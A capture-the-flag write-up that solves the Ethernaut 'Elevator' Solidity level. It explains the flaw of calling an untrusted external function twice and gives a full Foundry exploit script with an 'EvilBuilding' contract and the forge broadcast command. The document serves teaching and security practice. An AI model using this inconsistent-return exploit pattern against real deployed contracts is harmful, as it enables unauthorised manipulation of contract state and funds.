qing ying
312 words
2 minutes
Elevator - The Ethernaut
Cover image source: Source
Challenge Overview
This level involves an Elevator contract that uses an external Building interface to determine if a floor is the top floor. The goal is to reach the top of the building by manipulating the return values of the isLastFloor() function to bypass the contract’s logic.
Challenge Code
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
interface Building { function isLastFloor(uint256) external returns (bool);}
contract Elevator { bool public top; uint256 public floor;
function goTo(uint256 _floor) public { Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } }}Exploit Explanation
The vulnerability exists because the goTo() function calls the external isLastFloor() function twice and assumes it will return consistent results:
function goTo(uint256 _floor) public { Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) { // First call floor = _floor; top = building.isLastFloor(floor); // Second call }}Since we control the Building implementation, we can return different values for each call:
- First call: Return
falseto pass theifcondition and enter the block - Second call: Return
trueto settop = true
This allows us to bypass the intended logic and reach the top floor regardless of the actual floor number.
Exploit Script
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.0;
import "forge-std/Script.sol";import "forge-std/console.sol";import "../src/Elevator.sol";
contract EvilBuilding { bool private evilSwitch; Elevator public elevatorInstance = Elevator(<YOUR_INSTANCE>);
function attack() public { // Trigger the goTo() function with any floor number elevatorInstance.goTo(999); }
function isLastFloor(uint256 _floor) external returns (bool) { // First call: return false to pass the if condition if(!evilSwitch){ evilSwitch = true; return false; } else { // Second call: return true to set top = true return true; } }}
contract ElevatorSolution is Script {
function run() public { vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
// Deploy the malicious Building contract EvilBuilding evil = new EvilBuilding();
// Execute the attack evil.attack();
vm.stopBroadcast(); }}Proof of Concept (PoC)
Execute the exploit with Foundry:
forge script script/ElevatorSolution.s.sol --rpc-url $SEPOLIA_URL --tc ElevatorSolution --broadcast Elevator - The Ethernaut
https://xiaowenjictf.github.io/posts/ethernaut/elevator/